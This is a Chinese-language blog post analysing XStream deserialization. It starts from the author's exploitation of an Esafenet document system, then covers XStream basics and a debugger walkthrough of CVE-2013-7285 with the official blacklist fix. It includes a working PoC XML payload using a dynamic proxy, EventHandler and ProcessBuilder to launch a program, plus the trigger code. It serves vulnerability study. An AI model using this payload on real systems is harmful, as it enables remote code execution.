前言:

事情起源于一次挖eud某证书站的时候,遇到一个亿赛通电子文档管理系统,知道该系统之前爆过反序列化rce的洞,于是去网上搜一些反序列化的payload,最后竟然也是成功打下了,而那些反序列化就是xstream反序列化,因为之前没有系统学习过,所以现在他来了

stop!先讲一下那个亿赛通的反序列化,就当提前了解了

漏洞分析

因为我没有亿赛通的源码,所以主要还是参考网上的复现文章简单的来分析一下

https://0xf4n9x.github.io/cdg-xstream-deserialization-arbitrary-file-upload.html

漏洞出现点是在WEB-INF/lib/jhiberest.jar文件,在反编译后是发现了xstream的关键字,且依赖也是低版本1.4.9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class SystemService extends HttpServlet {
private static final Log log = LogFactory.getLog(FilesService.class);
private static String retrunString = "";
private static final long serialVersionUID = -3607772408578536033L;
private XStream xStream = ServiceUtil.getStream();
private UserDao userDao = new UserDao();
private UsbKeyDao usbKeyDao = new UsbKeyDao();
private SecretDocDao secretDocDao = new SecretDocDao();
private SecretUserDao secretUserDao = new SecretUserDao();

public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String command = request.getParameter("command").toString();
if (command != null && command.length() > 0) {
switch (CommandConstants.getCommandValue(command)) {
case CommandConstants.GETSYSTEMINFO /* 1601 */:
getSystemInfo(request, response);
break;
}
}
} catch (Exception e) {
}
}

private void getSystemInfo(HttpServletRequest request, HttpServletResponse response) {
SystemReturn systemReturn = new SystemReturn();

try {
String xmlStr = ServiceUtil.getXMLFromRequest(request);
SystemServiceRequest systemServiceRequest = (SystemServiceRequest)this.xStream.fromXML(xmlStr);
systemReturn.setReturnMessage("OK");
systemReturn.setSecretKey(DocInfoModel.getCDGKey());

// ...

} catch (Exception e2) {
retrunString = "";
e2.printStackTrace();
log.error("取系统信息" + e2.getMessage());
systemReturn.setReturnMessage(ErrorConstants.SYSTEMSERVICE_ERROR);
ServiceUtil.sendInfo(request, response, this.xStream.toXML(systemReturn));
}
}
}

要想要走到触发xstream反序列化的地方即GETSYSTEMINFO才会顺利进入到getSystemInfo方法

且中间request请求还会经过ServiceUtil.getXMLFromRequest方法处理,但主要就是一些编码,可以逆向解码来编码或者后续直接调用该方法也可以

最后走到xStream.fromXML(xmlStr)触发反序列化

后续就是构造恶意的payload编码后传给xStream.fromXML就成功了

所以我们可以发现,在这个过程中触发xstream反序列化的关键函数就是fromXML函数!

XStream基础:

概念:

XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)

xstream和fastjson有一样的地方就是不同于java原生的反序列化方法,而是采用特定的方式对java对象进行转换即序列化和反序列化

demo演示:

创建一个maven项目,然后导入依赖

1
2
3
4
5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>

先定义一个接口类IPerson.java

1
2
3
public interface IPerson {  
void output();
}

然后定义一个Person类实现前面的接口:

1
2
3
4
5
6
7
8
public class Person implements IPerson {  
String name;
int age;

public void output() {
System.out.print("Hello, this is " + this.name + ", age " + this.age);
}
}

Xstream序列化是通过XStream.toXML() 来实现的(就像tojson一样)

1
2
3
4
5
6
7
8
9
10
public class Serialize {  
public static void main(String[] args) {
Person p = new Person();
p.age = 6;
p.name = "pmv57";
XStream xstream = new XStream(new DomDriver());
String xml = xstream.toXML(p);
System.out.println(xml);
}
}

image

然后写个发序列化看看,XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner()FileInputStream 都可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example.demo;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;

public class Deserialize {
public static void main(String[] args) throws FileNotFoundException {
// String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();
FileInputStream xml = new FileInputStream("D:\\Security\\JavaStudy\\java_src\\serialize\\Xstream\\demo\\src\\main\\java\\org\\example\\demo\\person.xml");
XStream xstream = new XStream(new DomDriver());
Person p = (Person) xstream.fromXML(xml);
p.output();
}
}

image

然后这就是简单看一下xstream是如何反序列化的

XStream 类图

image

注:引用drun1baby师傅的图片

这几个部分我就不都一一分析了,主要还是分析一下最重要的DynamicProxyConverter 动态代理转换器,这是存在xstream反序列化的漏洞最主要的原因

DynamicProxyConverter 动态代理转换器

DynamicProxyConverter是xstream支持的一种动态代理转换器

image

他可以将xml中的dynamic-proxy标签中的内容转换成对应的动态代理对象,而当动态代理对象调用了dynamic-proxy标签内的interface标签指向的接口中声明的方法,根据之前学习的动态代理机制,就知道他会触发对应的handler也就是dynamic-proxy标签下handler节点的EventHandler中的invoke方法

1
2
3
4
5
6
7
<dynamic-proxy>  
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>

CVE_2013_7285

拿一个Xstream最初的漏洞来学习一下

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
<sorted-set>  
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>Calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

触发代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.demo;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.FileInputStream;

public class cve_2013_7285 {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("D:\\Security\\JavaStudy\\java_src\\serialize\\Xstream\\demo\\src\\main\\java\\org\\example\\demo\\person.xml");
XStream xStream = new XStream(new DomDriver());
xStream.fromXML(fileInputStream);
}
}

然后运行之后成功弹出计算器

image

源码分析:

断点首先下到TreeUnmarshaller中的start方法,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型

image

然后跟到readClassType方法中,发现会mapper.realClass() 进行循环遍历(用来查找xml中的根标签为什么类型)

image

然后跟出来到下一步convertAnother函数对java.util.SortedSet 类型进行转换

image

跟进去看一下,发现调用了mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型

image

image

然后就是寻找Convert,这里找到的对应的转换器是TreeMapConverter

image

然后会执行到AbstractReferenceUnmarshaller.convert()中,并且会调用getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中(这个键在后续会和保存的java.util.TreeSet 类一一对应)

image

紧接着调用父类的FastStack.convert() 方法,发现将类型压入栈,然后调用TreeSetConverter 的unmarshal方法(存疑,代码有问题)

image

跟进去看看,它会调用unmarshalComparator方法,这个方法通过判断reader 是否还有子元素来获取xml根元素的子元素

image

image

而reader.moveDown()会把子元素获取并添加到当前 context 的 pathTracker

image

回到TreeSetConverter.unmarshal()方法中,看一下this.treeMapConverter.populateTreeMap()这个函数

image

image

在这个方法里,xstream就开始处理了xml里面其他的节点元素,首先判断是不是第一个元素,是的话就调用putCurrentEntryIntoMap()函数,就是将当前的内容缓存到map中

跟进去看一下,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中

image

在跟进readitem方法,会发现他又调用了HierarchicalStreams.readClassType()context.convertAnother() 方法

image

跟进去看一下,这里我们可以看mapper发现他其中还是两个元素,而xstream就会处理最里层的那个

而他同时会返回一个type,就是最新最里层的那个子元素类型,我们跟代码看赋值发现是com.thoughtworks.xstream.mapper.DynamicProxyMapper#DynamicProxy,对应的转换器为 DynamicProxyConverter

image

我们所编写的xml获取到的子元素为,然后跟进DynamicProxyConverter的unmarshal里面会判断if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型

image

在我们写的xml中在interface下还存在子元素,获取完完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>

image

然后继续向下,在DynamicProxyConverter中125行(看个人,但都是在附近)调用了Proxy.newProxyInstance() 方法,是用来实例化代理类的过程

然后在127行(同理看个人)调用context.convertAnother() 方法,跟进一下

image

对应的转换器是AbstractReflectionConverter,跟进,发现会先调用instantiateNewInstance() 方法实例化一个 EventHandler

image

继续在AbstractReflectionConverter中,到429行左右(同理,看个人情况),看代码赋值type为class java.lang.ProcessBuilder

image

后续就是继续的xstream处理xml,都是类似的运行流程

然后最后的最后又会到treeMapConverter.populateTreeMap() 这个地方

image

然后一直步过,直到122行调用了put.all方法,变量是sortedMap,我们可以看一下赋值发现就是一段链式存储的数据

image

最后最后调用到EventHandler#invoke方法

1
2
3
4
5
6
7
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

漏洞修复:

官方增加了黑名单:

用户可以为动态代理注册自己的转换器,即 java.beans.EventHandler 类型或 java.lang.ProcessBuilder 类型,这也可以防止这种特殊情况的攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
}

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}

public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);

参考文章:

https://drun1baby.top/2023/04/18/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-XStream-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-01/#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86

https://0xf4n9x.github.io/cdg-xstream-deserialization-arbitrary-file-upload.html